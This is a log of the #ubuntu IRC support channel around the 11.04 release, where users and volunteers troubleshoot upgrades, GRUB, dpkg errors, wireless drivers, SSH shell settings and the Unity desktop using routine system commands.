[15:31] <Dr_Willis> bbl
[15:31] <dios_mio> keyboard layouts broken!! new windows always get the active window's layout, no matter what you pick in the options for it
[15:31] <Abhijit> how can i have official supported latest version of software center on lucid?
[15:31] <Abhijit> help
[15:32] <yaaar> Lovre: if you have a fakeraid controller you might as well just use Linux software raid instead. but if you have a hardware controller you can just set it up however you want and linux will just see the volumes automagically
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[15:33] <Braiam> spam?
[15:33] <Pici> Clearly.
[15:34] <LjL> yes
[15:34] <Abhijit> how can i have official supported latest version of software center on lucid?
[15:34] <Azelphur> starting around 10 years ago, wallops was invented so opers could mass message people without being a phony :P
[15:34] <Pici> Azelphur: Its not from staff. Please ignore it.
[15:34] <Azelphur> Pici I know that :P
[15:34] <Baram> so... can anyone help me figure out why after an update both firefox and chrome refused to allow me to type in Korea?
[15:34] <moustafa> Abhijit: If you have lucid, and installed all updates, you have the latest version available on Lucid
[15:34] <takeshi> Guys, which is the gnome's version in ubuntu 11.04?
[15:35] <Abhijit> moustafa, no my the software center in 110.04 is newest. with new features.
[15:35] <toggles> takeshi: gnome-about
[15:35] <bazhang> Abhijit, with the apps available in Natty?
[15:35] <bazhang> Abhijit, you cannot
[15:35] <moustafa> Abhijit: If you want the version from Natty, you will need to upgrade to Natty
[15:35] <takeshi> toggles, well i'm watching what is new in that version..
[15:35] <Lovre> yaaar: its a fakeraid... how do i use ubuntu raid with this?
[15:35] <takeshi> right now im using 10.10
[15:36] <toggles> takeshi: gnome-session --version
[15:36] <toggles> gnome-session 2.32.1
[15:36] <Abhijit> bazhang, not the apps. i want the features of the newest software center
[15:36] <Abhijit> moustafa, ok
[15:36] <takeshi> THanks
[15:36] <bazhang> Abhijit, still no
[15:36] <toggles> takeshi: np
[15:36] <Abhijit> bazhang, okay! :-(
[15:37] <giro> is there someone who knows how XFRM works?
[15:38] <blink> so now that I'm in ubuntu classic, the cpu spike is gone. cool. now can I get it back without ganking CPU time?
[15:39] <eekTheCat> Ouch, major power regression, I'm definitely not upgrading to natty. http://www.phoronix.com/vr.php?view=15935
[15:39] <freakynl> giro: wouldn't it be easier to just ask what you actually need to know? Nobody is going to answer such generic q's
[15:39] <giro> sorry you're right
[15:39] <zizban> I just installed Unity 2D...nice!
[15:40] <geraudk2000> hi
[15:41] <giro> I'd like to know how XFRM (ip xfrm policy\state) check keys, if it does
[15:41] <giro> checks*
[15:41] <geraudk2000> please someone can tell me how to keep my olds kernel ?
[15:41] <silvertip257> Hello, I'm attempting to PXE boot an Ubuntu Live CD (PXE + NFS).  With the boot option "silent" removed, I can see the boot process halt as soon as ALSA is being loaded.
[15:41] <giro> because I need to add an SA (security association)
[15:42] <Abhijit> geraudk2000, just dont upgrade to new kernel?
[15:42] <cal_> geraudk2000: lock it in synaptic
[15:42] <giro> the outbound SA adding works fine
[15:42] <geraudk2000> Abhijit: yes
[15:42] <zizban> I think you'll feel pain, though.
[15:42] <vesto> hello, i upgraded from maverick to natty and now grub says "error: file not found"  ive tried to repair grub with the livecd i have but it doesnt seem to be working... can anyone help?
[15:42] <giro> but the inbound SA adding doesn't work
[15:42] <giro> do you have any idea?
[15:42] <jatt> vesto: are you installing it on a usb drive?
[15:42] <vesto> jatt: no, mbr of sda
[15:43] <elricl> Hello,is anyone else having trouble with the unity pointer behaving strangely
[15:43] <zizban> define "strengely"
[15:43] <jef91> So I booted into my Linux box and was getting a pile of read only file system errors, so I rebooted and now I can only get a busybox terminal... I have a second linux install on the box but it is unable to mount the other file system and fsck isn't working "fsck.ext2: Attempt to read block from filesystem resulted in short read while trying to open /dev/sda2"
[15:43] <zizban> or even strangely
[15:43] <toggles> eekTheCat: new kernel since release
[15:44] <giro> no one could help me? do I have to be more clear?
[15:44] <rpk> I just went to open a text file in Geany, and ubuntu dropped out to the startup x shell, sat on "checking batter state" for 10-15 seconds, and then restarted
[15:44] <vesto> do i need a natty livecd to repair grub2 for natty?  doesnt seem to work following the ubuntu wiki page on grub2 using a lucid livecd
[15:44] <rpk> battery^^
[15:45] <devcow> can i restore workspaces on unity? i mean all programs on restart should restored in the workspaces.
[15:45] <jatt> vesto: you must use the same grub version
[15:45] <rpk> Is there anything I can do to prevent it from restarting and losing all of my stuff?
[15:45] <zizban> hows your battery?
[15:45] <rpk> in the future?
[15:45] <rpk> battery is fine
[15:45] <rpk> I'm pretty sure it just happened was on that as checking battery state is the last thing that gets printed during boot
[15:46] <zizban> hmmm
[15:46] <dios_mio> keyboard layouts broken!! new windows always get the active window's layout, no matter which option you pick in keyboard layout preferences
[15:46] <blink> so now that I'm in ubuntu classic, the cpu spike is gone. cool. now can I get it back without ganking CPU time?
[15:46] <blink> compiz back*
[15:47] <Dark_Star1> does anyone know how to change the ldap root password please?
[15:47] <eekTheCat> jeremydei, maybe your hard drive is hosed?
[15:47] <MoL0ToV> i  just installed squid on ubuntu 11.04, i leaved only the acl:   http_access allow all but i not able to surf the web.
[15:47] <zizban> My spare laptop is at the low end for Unity so I just use Unity 2D
[15:47] <zizban> no cpu spikes
[15:47] <MoL0ToV> someone explain to me where i do the mistake?
[15:48] <catphish> does anyone know how ubuntu 10.04 handle bonding? i am having a lot of trouble with it
[15:48] <toggles> eekTheCat: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/760131
[15:48] <ubottu> Ubuntu bug 760131 in linux (Ubuntu Oneiric) "Power consumption raised significantly in natty" [High,Confirmed]
[15:49] <Technoviking> what should I file a printing bug againist?
[15:49] <Defusal_> hi everyone, does anyone know why i would get escaped chars outputted to my console when i use keys such as the arrow keys or tab, using putty client on windows 7 to ubuntu server, strangely enough, when i use something with curses, such as nano, arrow keys work fine, so it must be something about this ubuntu server installation?
[15:50] <stimpie> Technoviking:  depends on the bug,   but cups is a good guess
[15:51] <eekTheCat> toggles, it says fix released for "Release Notes" not for Natty itself
[15:51] <varun> hi friends,i installed a programme called gsimreader in wine,i want to remove that app now,i am unable to do that,how to remove that app from the applications menu
[15:51] <zizban> varun: in Unity?
[15:51] <Technoviking> Natty nlonger reconizes my dnssd printer:(
[15:51] <varun> any one there
[15:52] <toggles> eekTheCat: yeah, i saw that, sorry, i'm looking for the release notes..
[15:52] <buhman> what's going on here: http://imagebin.org/index.php?mode=image&id=151493
[15:52] <tabbernuk> Sorry to bother you, but does anybody know a proper answer to http://askubuntu.com/questions/37843/where-do-i-place-a-file-for-bookmarks-for-all-users ? Ubuntu adds its default bookmarks to Firefox 4, but what mechanism is used ? I checked /etc/firefox/profile/bookmarks.html is definitely not used anymore...
[15:53] <Defusal_> also, does anyone know how to make ubuntu server display the working directory in console lines, this server installation is only showing $
[15:53] <warchild> hi @ all
[15:53] <eekTheCat> toggles, https://wiki.ubuntu.com/NattyNarwhal/ReleaseNotes#Linux%20kernel
[15:53] <toggles> eekTheCat: thanks
[15:54] <Baskak> hi, i have a failure following upgrade to 11.04. http://pastebin.com/L03HTmQB
[15:55] <researcher123> hi
[15:55] <researcher123> Is it possible to undelete a recently deleted user account?
[15:55] <eekTheCat> toggles, So I guess that release notes bug was just a reminder to note the problem "Known Issues" section of the release notes.
[15:56] <stimpie> Defusal_: modify PS1 in bashrc, see http://www.thegeekstuff.com/2008/09/bash-shell-ps1-10-examples-to-make-your-linux-prompt-like-angelina-jolie/
[15:56] <blip-> name suggestion I just thought of, Rabid Rabbit :)
[15:57] <stimpie> researcher123: no, unless you have a backup to restore
[15:57] <cci[RR]us> hi pls help me at  http://ubuntuforums.org/showthread.php?t=1748176
[15:57] <researcher123> is it possible here http://ubuntuforums.org/showthread.php?t=915283
[15:57] <eekTheCat> blip-, the letter R is a few releases away
[15:57] <aethelrick> hi all, I've been a linux user for many years and bitter experience early on taught me to only use NVidia graphics cards. I'd like to know, what is the state of support for the Radeon cards these days? is it still miserable or are they on par with NVidia?
[15:58] <tabbernuk> I noticed that there is also ubiquitous about:config value distribution.canonical.bookmarksProcessed in Firefox 4, but I cannot find out, where the default bookmarks are stored and how they are processed. I'm really digging it, so any hints are welcome if you have no solution...
[15:58] <Defusal_> thanks stimpie
[15:58] <toggles> eekTheCat: yeah, seems it's scheduled for the milestone release
[15:58] <blip-> eekTheCat, ah ok :)
[15:58] <Defusal_> Does anyone know why i would get escaped chars outputted to my console when i use keys such as the arrow keys or tab, using putty client on windows 7 to ubuntu server, strangely enough, when i use something with curses, such as nano, arrow keys work fine, so i'm guessing it must be something about this ubuntu server installation?
[15:58] <broot> Anyone feel like helping out? http://pastebin.com/AvjPNzt6
[15:59] <cci[RR]us> hi pls help me on my grub qn at  http://ubuntuforums.org/showthread.php?t=1748176
[15:59] <Pici> !here
[15:59] <ubottu> Please give at least an overview of your problem *here* (all in one line) - you will get a much greater audience. If you have to use more than 3 lines, please use http://paste.ubuntu.com
[16:00] <broot> Oh, thanks Pici. :>
[16:00] <alanonymous> is anyone else not particularly happy with gnome 3?  or does it just take time to work its way into my heart?
[16:01] <guampa> i have two simultaneous X sessions, and am switching VTs with ctrl+alt+F[7,8] . If any of the sessions is not accessed for some time it asks me for a password when i switch, is there a way to disable this?
[16:01] <eekTheCat> Defusal_, I don't have an answer. But I've found that using emacs style navigation works pretty consistently across shells, terminals, and remote connections. ctrl-p, ctrl-n, ctrl-b, ctrl-f
[16:01] <broot> I'm having problem currently booting into ubuntu -- Error message and general information: http://paste.ubuntu.com/602816/
[16:01] <buhman> I've been having trouble with my wireless card across all distributions; It just doesn't seem to want to "activate"; my card: http://imagebin.org/index.php?mode=image&id=151486 me playing with my card: http://imagebin.org/index.php?mode=image&id=151493
[16:02] <Defusal_> eekTheCat: i've ssh'd into many ubuntu boxes before just fine in the past, so im almost sure its something about this server
[16:02] <mhaddog> how to find hp ubuntu server compliant list? with 10.04 or 10.10?
[16:03] <gare> updated https://help.ubuntu.com/community/KeyboardShortcuts  with Natty links ...
[16:03] <rezzy> Hi, could someone assist me with a sound issue? I'm able to hear sound through my speakers (rear green out) but not through my headphones (front green out).
[16:03] <eekTheCat> Defusal_, what is $TERM when you ssh to that machine
[16:03] <botcity> sound | rezzy
[16:04] <botcity> !sound | rezzy
[16:04] <ubottu> rezzy: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.
[16:04] <Defusal_> eekTheCat: xterm
[16:04] <broot> I'm having problem currently booting into ubuntu -- Error message and general information: http://paste.ubuntu.com/602816/
[16:05] <pranav> i've seen ubuntu wallpapers, on the right side. they have this attractive system monitoring which includes CPU usage & other. Where can I find tools such to download & make my desktop similar ?
[16:05] <atlef> !conky | pranav
[16:05] <k3strel> pranav: likely Conky or GKRellm.
[16:05] <rezzy> Unfortunately, none of the solutions I have tried seem to work. Switching outputs between speakers/headphones went fine on 10.10, but now I only hear sound through rear green out (I'm on 11.04)
[16:06] <pranav> atlef: k3strel, thanks :)
[16:07] <compdoc> green is the normal out. your old system could reconfigure any out to work?
[16:07] <tamale_> Hello all.. I tried to upgrade from Maverick to Natty and I got the following error towards the end: dpkg: parse error, in file '/var/lib/dpkg/status' near line 569 package 'shotwell':  duplicate value for `Depends' field E: Sub-process /usr/bin/dpkg returned an error code (2)
[16:07] <tamale_> Now I can't install any packages
[16:07] <tamale_> help?
[16:07] <mrfree> hi all
[16:07] <mrfree> where I can find the ubuntu gdm theme??
[16:07] <eekTheCat> Defusal_, is that what it is when you ssh to other ubuntu machines?
[16:08] <mrfree> I'd like to customize it a little bit but I can't find the theme files...
[16:09] <maco> tamale_: sounds like a bug in the shotwell package. sudo dpkg -P shotwell       <-- try that?
[16:09] <tamale_> $ sudo dpkg -P shotwell dpkg: parse error, in file '/var/lib/dpkg/status' near line 569 package 'shotwell':  duplicate value for `Depends' field
[16:09] <broot> Anyone care to help? having problems booting into Ubuntu: http://paste.ubuntu.com/602816/
[16:09] <maxagaz> what tool should I use to set the desktop effects ?
[16:10] <maxagaz> in natty
[16:10] <Defusal_> eekTheCat, just logged into another ubuntu machine and its also xterm, yet the arrow and tab keys work perfectly
[16:10] <compdoc> broot, its not finding the disk. have you change the drives around in the case?
[16:10] <maxagaz> it's not in appearance anymore
[16:10] <cci[RR]us> hi pls help me on my grub qn at  http://ubuntuforums.org/showthread.php?t=1748176
[16:11] <Defusal_> so it has to be an issue on that specific ubuntu server
[16:11] <maco> tamale_: could you "gksudo gedit /var/lib/dpkg/status" and find shotwell in there and paste its whole section to paste.ubuntu.com and give me te link?
[16:11] <maxagaz> and the compiz config tool is fucked up
[16:12] <broot> compdoc: I guess I should've mentioned that it's a laptop with a single harddrive -- so I have no idea how the problem occurred
[16:12] <buhman> you know what's even cooler about this wireless problem?  Is that both my internal and usb wnic's behave exactly the same
[16:12] <tamale_> maco: http://paste.ubuntu.com/602824/
[16:12] <buhman> http://imagebin.org/index.php?mode=image&id=151499
[16:12] <schelcj> Is there a way to add default desktop icons for all users? /etc/skel is out since these users already have a home directory in afs.
[16:13] <compdoc> broot, you have a seperate partition for ubuntu?
[16:13] <eekTheCat> Defusal_, maybe that system is missing terminfo for xterm? ls /lib/terminfo/x/xterm*
[16:13] <broot> compdock: yes, but it's all on the single harddrive,
[16:15] <compdoc> broot, boot from a live cd and see if you can find the linux partition
[16:15] <compdoc> you booted from windows now?
[16:15] <tamale_> now I'm getting this after running apt-get install -f:  E: Could not perform immediate configuration on 'python-pyatspi2'.Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)
[16:16] <broot> Aye, I'm on my stationary at the moment, but I'm able to access the windows partition. And I'll try with the live CD.
[16:16] <Defusal_> eekTheCat: /lib/terminfo/x/xterm /lib/terminfo/x/xterm-color /lib/terminfo/x/xterm-mono /lib/terminfo/x/xterm-r6 /lib/terminfo/x/xterm-xfree86 /lib/terminfo/x/xterm-256color /lib/terminfo/x/xterm-debian /lib/terminfo/x/xterm-r5 /lib/terminfo/x/xterm-vt220
[16:16] <tamale_> should I just format and start over with narwhal ?
[16:16] <tamale_> I've never once upgraded ubuntu successfully :(
[16:16] <joeoshawa> i have a problem with the date on my computer the calendar is wrong i cannot set it to the correct date
[16:16] <compdoc> broot, boot windows and install a program for me
[16:16] <Defusal_> eekTheCat: im not exactly sure what im looking for, but it appears to have terminfo
[16:16] <botcity> buhman, what is it your trying to do ? i must off missed your explanation .
[16:17] <haqduong> joeoshawa: Can you check your time zone is correct?
[16:17] <broot> compdoc: what program in particular?
[16:17] <compdoc> broot, install:   http://download.cnet.com/HD-Tune/3000-18512_4-11121758.html
[16:17] <compdoc> its free
[16:17] <compdoc> tell me when its running
[16:17] <joeoshawa> it is saying the 29th is a friday
[16:18] <buhman> botcity: trying to make my wireless work
[16:18] <buhman> botcity: the best part is that that usb card seems to work on other computers
[16:18] <joeoshawa> nvm
[16:19] <botcity> buhman, have you been through the wireless troubleshoot page?
[16:19] <buhman> it's that "0: acer-wireless" soft block that seems to be causing all sorts of hell
[16:19] <buhman> botcity: umm, no, but I guess; which ones?
[16:19] <botcity> !wifi |  buhman
[16:19] <ubottu> buhman: Wireless documentation, including how-to guides and troubleshooting information, can be found at https://help.ubuntu.com/community/WifiDocs
[16:20] <maco> tamale_: imvery confused because i dont see a duplicate depends
[16:21] <Defusal_> eekTheCat, wow it really kills to use ssh without being able to tab or use arrow keys :(
[16:21] <Defusal_> so painful
[16:21] <aethelrick> is anyone using radeon graphics card without hassles these days? (I'm an NVIdia user considering buying a new card, thinking AMD) should I stick to NVidia??
[16:21] <tamale_> maco: I didn't either
[16:21] <Guest78019> can anyone suggest me a good python project i cn contribute
[16:22] <buhman> botcity: that usb wireless card is on the list of supported cards
[16:22] <arvut> how big should I make the /etc and /boot partitions on a lucid install? I made a 8.1GB / and got a 57GB /home from previous install of maverick
[16:23] <arvut> less than 1GB?
[16:23] <Abhijit> Guest78019, feedindicator. please contribute and improve it. crashes a lot.
[16:23] <eekTheCat> Defusal_, Do the emacs style keybindings work? ctrl-p for up, ctrl-n for down, ctrl-f for right, ctrl-b for left
[16:23] <Snyperx> Does anyone know why the 11.04 Netbook release is not available for download from the Ubuntu website?
[16:23] <Snyperx> I tried getting the torrent file and it says it is not on the server...
[16:23] <iomari> greetings, anyone here use multicd?
[16:23] <janzert> Snyperx: had that confusion myself, the netbook release is now part of the regular desktop version
[16:24] <arvut> !ask iomari
[16:24] <tamale_> Now I'm just getting this error when trying to upgrade: E: Could not perform immediate configuration on 'python-pyatspi2'.Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)
[16:24] <Defusal_> eekTheCat: well i dont have emacs installed, in console ctrl-p outputs ^P
[16:24] <eekTheCat> Defusal_, what is $SHELL on that system?
[16:24] <iomari> when running multicd, it keeps ignoring ubuntu. every other iso works.
[16:24] <Defusal_> eekTheCat, /bin/sh
[16:24] <eekTheCat> Defusal_, that must be your problem
[16:25] <eekTheCat> Defusal_, on a standard ubuntu system it should be /bin/bash
[16:25] <botcity> buhman, okay did you troubleshoot it? which card is it ?
[16:25] <eekTheCat> Defusal_, sh is ancient unix compatibility shell
[16:25] <Defusal_> eekTheCat, ah, why would it be like this, and more importantly, what do i need to do to install bash?
[16:26] <martian> How does one disable notification area popups, or perhaps alter their behavior?
[16:26] <buhman> botcity: my screenshots have hwinfo --wlan for both cards
[16:26] <Defusal_> i just got my VPS and im not liking its state at all
[16:26] <maco> Defusal_: bash is efault login shell. its installed y default
[16:26] <muneeb> hi, can anyone tell me how can i limit file size for  uploads in ftp server (using vsftpd)??
[16:26] <eekTheCat> Defusal_, odds are it's bash in compatibility mode...
[16:26] <Defusal_> maco: then how do i enable it by default?
[16:26] <maco> Defusal_: /bun/sh is dash because its smaller. less overhead than bash on running boot scripts. things go faster
[16:26] <eekTheCat> Defusal_, what does "dpkg -l bash" say?
[16:27] <kad_> hey! can someone remind me with the command that i can force it to execute specific parameter ex: run a script base on Time ? thx
[16:27] <maco> Defusal_:  if you want to make /bin/sh use bash instead of dash, just change the symlink
[16:27] <buhman> but I have the rt2500usb Linksys USB 54G and an Atheros 9285
[16:27] <Defusal_> eekTheCat, bash 4.1-2ubuntu3 The GNU Bourne Again SHell
[16:27] <maco> Defusal_: but be warned it will make things like boot slower because bash is huge
[16:27] <maco> Defusal_: bash is the default login shell. see /etc/passwd
[16:27] <buhman> both have kernel modules loaded and both work in kernel 2.6.32 (debian squeeze)
[16:27] <joe021> is possible to generate a key pair for ssh without prompting the user for info?
[16:27] <Defusal_> maco, maybe not the best idea for a VPS, how much bigger we talking?
[16:28] <buhman> it seems like there must have been some regression
[16:28] <Defusal_> maco, its not the default login shell on this server
[16:28] <Defusal_> im ssh'ing to a VPS, and its using dash
[16:28] <eekTheCat> Defusal_, So it's installed. Changing a symlink manually like maco suggested is not the right way to change shells
[16:28] <maco> Defusal_: hm then sounds like your vps provider futsed with /etc/passwd O_o -- change that back
[16:28] <buhman> botcity: I'm also browsing through these guides and they seem mostly completely irrelevant
[16:28] <maco> eekTheCat: thats the way if you want to change /bin/sh's behaviour. but if you want to change login shells, then /etc/passwd
[16:29] <Defusal_> err
[16:29] <Defusal_> i was given a default password, which i had to change on first login, then it kicked me out and made me login again
[16:29] <jnlsnl_> anyone have experience installing postfix ?
[16:29] <Defusal_> ever since its been using this shell
[16:29] <Defusal_> eekTheCat: what is the correct way to change it then?
[16:30] <mikeshultz> Any good resources on using Ubuntu clients in a samba/NT environment(filesharing and auth)?  Preferably something for large environments(users won't be using smbmount).
[16:30] <botcity> buhman, are you on natty?
[16:30] <spacebug-> the little resize triangle at buttom right corner or all windows, is it possible to get that totally transparent? or maybe not have it at all? or outside the window?
[16:30] <wizworks> Does anyone know how to stop the annoying screen blanking?  I have tried disabling and even removing gnome-screensaver
[16:30] <buhman> botcity: my screenshots would suggest so; yes
[16:30] <Pici> Defusal_: via chsh or editing /etc/passwd directly.  I suggest the former.
[16:31] <eekTheCat> Defusal_, usermod -s /bin/bash Defusal_
[16:31] <eekTheCat> Defusal_, by Defusal_ i mean whatever your username is :)
[16:31] <buhman> botcity: http://paste.ubuntu.com/602834/
[16:31] <Defusal_> eekTheCat, thanks
[16:31] <maco> i always forget about usermod...
[16:31] <Defusal_> :)
[16:32] <eekTheCat> maco, it's slightly safer that mucking about /etc/passwd :)
[16:32] <b0ot> Should a sip ata showup with debug ccsip all?
[16:32] <pestilence> is there any way to extract the list of installed packages from a old installation without booting it?
[16:32] <buhman> botcity: whenever I try to do anything with either interface I'm told "network is down"
[16:32] <GeneralAntilles> Are there any good troubleshooting guides for wake-from-sleep failures? I've got an x220 and an IdeaPad S10-3t which both refuse to wake from sleep about 2/3rds of the time with 11.04.
[16:32] <buhman> what that actually means I'm clueless
[16:32] <tamale_> Now I'm just getting this error when trying to upgrade: E: Could not perform immediate configuration on 'python-pyatspi2'.Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)
[16:33] <buhman> botcity: and I'm currently at a loss on how to find more useful information
[16:33] <maco> pestilence: chroot in & dpkg --get-selections > file
[16:33] <miceiken> "Please insert the disc labeled 'Ubuntu-Server 11.04 _Natty Narwhal_ - Release amd64 (20110426)' in the drive '/media/cdrom/' and press enter.", this pops up while installing the base system, but that CD is the one I am running.
[16:33] <pestilence> maco: good idea
[16:33] <pestilence> thanks
[16:33] <broot> I'm going to use the LiveCD to boot into Ubuntu 10.10, do I actually need the 10.10 CD, or will a new 11.04 work as well?
[16:34] <buhman> botcity: on why two supposedly supported cards both aren't working because of what looks like some kind of system-wide soft block
[16:34] <wizworks> Does anyone know how to stop the annoying screen blanking?  I have tried disabling and even removing gnome-screensaver
[16:34] <botcity> buhman, which laptop is it?
[16:34] <buhman> botcity: I'd also be willing to wager that if I grabbed ubuntu 10.04 or something to that effect, it'd probably work
[16:35] <buhman> botcity: Acer One 721-3574
[16:36] <buhman> botcity: only two distributions have worked so far: debian squeeze, and some chromium nightly build
[16:36] <eekTheCat> wizworks, don't know, but it's probably acpi related..
[16:37] <buhman> botcity: opensuse 11.4 failed, debian wheezy failed, fedora 10 failed, and ubuntu 11.04 fails
[16:37] <eekTheCat> wizworks, someting in /etc/acpi maybe?
[16:37] <mbeierl> broot: I don't understand the question.  Do you mean you have 10.10 installed on a hard drive and you want to use the 11.04 live CD as the boot loader?
[16:37] <pestilence> maco: complication...the old filesystem is mounted read-only (not by choice).  where do i dump the selections?
[16:38] <wizworks> eekTheCat: I have a ubuntu 10.4 box running MythTV...   as long as the box is active the screen stays on.  When it becomes idle after a few minutes, the blanking starts.
[16:38] <botcity> buhman, what is the output of   lspci | grep -i wireless
[16:38] <wizworks> eekTheCat:  I'll check that file and see if I find something...   but I disabled acpi too.
[16:39] <maco> pestilence: flash drive?
[16:39] <insanity99> hey guys, what do you guys think of unity? i cant seem to get it, seems to be no order, just a load of random programs listed
[16:39] <maco> pestilence: or just somewhere on the live filesystem for now, then ftp it somewhere or pastebin it
[16:39] <pestilence> maco: well i could save it to the running system if not for the chroot
[16:39] <maco> pestilence: oh...once you're chrooted you cant get to running...right... can you mount a flash drive inside the chroot?
[16:40] <mbeierl> broot: then, yes it will work
[16:40] <Baskak> hi, i have a failure following upgrade to 11.04. http://pastebin.com/L03HTmQB
[16:40] <Baskak> hello? :)
[16:40] <broot> mbeierl: thank you. :)
[16:40] <maco> pestilence: or does "pastebinit" happen to be one of the things installed on there? in which case, pipe to that?
[16:40] <LibreMan> hello, does anybody know whether I can use apt-cacher for ubuntu and debian at the same time?
[16:40] <maco> pestilence: possibly the chroot might have a writable /tmp?
[16:40] <LibreMan> is it possible that two packages would have the same name but different concent?
[16:40] <pestilence> maco: afraid not.  i'll try flash drive and /tmp
[16:40] <maco> pestilence: yes
[16:40] <mbeierl> broot: the boot loader is actually completely independent of the release itself and can be mixed and matched
[16:41] <maco> pestilence: whoops
[16:41] <maco> LibreMan: yes, debian and ubuntu packages differ
[16:41] <buhman> botcity: http://paste.ubuntu.com/602836/
[16:41] <LibreMan> maco: but the ubuntu ones should have "ubundu"appended if they are different no?
[16:41] <Laggg> i did a boo-boo
[16:42] <Laggg> in a terminal i typed in 'unity --reset'
[16:42] <Laggg> and im on 11.04 classic mode
[16:42] <Laggg> and now it just looks like 11.04 again :P
[16:42] <mun_> hi
[16:42] <Laggg> how do i get back to classic mode?
[16:42] <buhman> botcity: http://paste.ubuntu.com/602837/
[16:42] <mun_> when i indent a python file using tab, it moves in by quite a few spaces. how do i lower the number of spaces?
[16:42] <LibreMan> maco: I mean I know they're different ... the issue is whether they have the same name and are different because in that case they're going to overwrite each other .... if they are named differently then there is no problem
[16:43] <miceiken> Does anyone know? I'm installing Ubuntu 11.04 from scratch, and all of the sudden when I'm at Install the base system, this error pops up (at about 90%) "Please insert the disc labeled 'Ubuntu-Server 11.04 _Natty Narwhal_ - Release amd64 (20110426)' in the drive '/media/cdrom/' and press enter.". But that's the CD it's booting from
[16:43] <maco> LibreMan: names are teh same. versions are different. so if you mean filename, then different
[16:43] <nanog> i have a machine that when I ssh into it and log in, it doesn't return me to the shell's prompt
[16:43] <LibreMan> maco: yeah, filename ... so they can coexist in the same directory, yup?
[16:43] <thien> how to change Download,Music,Picture... location?
[16:43] <Laggg> miceiken, do as told?
[16:43] <Baskak> anybody? :)
[16:43] <maco> LibreMan: yeah
[16:44] <miceiken> Laggg
[16:44] <nanog> just sits there... All I did was add ipv6.disable=1 to my kernel line and rebooted?
[16:44] <nanog> any ideas?
[16:44] <LibreMan> maco: thanks
[16:44] <miceiken> but it's already in the cdrom
[16:44] <Laggg> press enter
[16:44] <miceiken> I did
[16:44] <miceiken> nothing happens
[16:44] <miceiken> error pops up again
[16:44] <Laggg> nothing? aw
[16:44] <Laggg> weird
[16:44] <Laggg> did you try open/close
[16:44] <Laggg> enter
[16:44] <pindropper> I have ubuntu lucid lynx installed. yesterday i switched off and on some plugins in compiz, and now sometimes when i maximize certain windows, i get logged off randomly, and am sent to the login screen. I tried switching off all the plugins in compiz and still the problem persists. what should i do?
[16:45] <buhman> botcity: http://paste.ubuntu.com/602842/
[16:46] <buhman> botcity: http://paste.ubuntu.com/602844/
[16:46] <jackmcbarn> is ppa:ubuntu-toolchain-r/test the best way to get gcc 4.6 in natty?
[16:47] <buhman> botcity: http://paste.ubuntu.com/602845/
[16:47] <Laggg> how do i quit unity?
[16:47] <Laggg> i want classic mode back
[16:47] <Pici> !classic | Laggg
[16:47] <ubottu> Laggg: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[16:47] <phibxr> Laggg, log out and select... nevermind. ubottu knows everything. :P
[16:47] <buhman> ubottu: http://paste.ubuntu.com/602845/
[16:47] <Laggg> im in that mode already
[16:48] <mrfree> what the hell... where I can find the gdm ubuntu theme files?? I'm getting crazy...
[16:48] <Laggg> and then i typed unity --reset
[16:48] <Laggg> and i cant get back to classic
[16:48] <Laggg> how do i kill unity?
[16:48] <buhman> !fixmywireless | ubottu
[16:48] <pindropper> Laggg: try sudo pkill unity
[16:49] <Baskak> any ideas?
[16:49] <buhman> pindropper: that worked :P
[16:49] <insanity99> hey guys, i got ubuntu 11.04 but now i lost the sensors thing on top panel that told me the temps
[16:49] <Roasted> Is it possible to rearrange Unity icons in 2D land?
[16:49] <buhman> pindropper: shut him down real fast
[16:50] <pindropper> buhman: :)
[16:50] <patrunjel> Hi guys, i hate the new Ubuntu and I want my 10.10 back (completely remove 11.04), cand someone please help me out? :)
[16:50] <sahil> hello guys
[16:50] <Pici> patrunjel: reinstall.
[16:50] <ActionParsnip> patrunjel: you will need to reinstall
[16:50] <stimpie> insanity99: the gnome applets are not supported anymore. they are replaced with indicators. Maybe some sensors indicators is created, maybe not
[16:50] <dd214> what is a good app to play BlueRay "EVO" files?
[16:50] <patrunjel> Pici, ActionParsnip this is the only solution?... :-<
[16:50] <Laggg> still not working
[16:50] <Laggg> that pkill unity didnt work
[16:51] <sahil> i am suffering this error frrom synaptic
[16:51] <sahil> E: Encountered a section with no Package: header
[16:51] <sahil> E: Problem with MergeList /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_natty_main_binary-i386_Packages
[16:51] <sahil> E: The package lists or status file could not be parsed or opened.
[16:51] <sahil> E: _cache->open() failed, please report.
[16:51] <FloodBot1> sahil: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[16:51] <pindropper> Laggg: what did it say?
[16:51] <Laggg> it got me some of my old window decorations back
[16:51] <Laggg> nothing
[16:51] <ActionParsnip> sahil: can you give a pastebin of the error so we can read it all
[16:51] <Pici> patrunjel: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[16:51] <Laggg> laggg@se7en ~ $ compiz --replace
[16:51] <Laggg> Backend     : gconf
[16:51] <insanity99> stimpie, ah right, how do i know if there is any made?
[16:51] <Laggg> Integration : true
[16:51] <sahil> pastebin?
[16:51] <Laggg> Profile     : default
[16:51] <Laggg> Adding plugins
[16:51] <FloodBot1> Laggg: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[16:51] <Laggg> Initializing core options...done
[16:51] <thien> help me, how to mount /dev/sda6 to /media/ automatically?
[16:51] <ActionParsnip> Laggg: pres ALT+F2 and run: metacity --replace
[16:52] <daxroc> I'm having problems with nvidia driver, conf http://pastebin.ca/2053509 and xorg errors and warnings http://pastebin.ca/2053510 . The problem I have is that one of two monitors connected has a resoulution of 640x480 and other is fine, I've tried different metamodes. has any one a possible solution or advice.
[16:52] <buhman> Laggg: metacity --replace
[16:52] <Laggg> that worked^^
[16:52] <buhman> Laggg: of course it did
[16:52] <stimpie> insanity99: google? or http://askubuntu.com/questions/30334/list-of-application-indicators
[16:53] <miceiken> Laggg: still not working
[16:53] <Laggg> miceiken, idk what to tell you
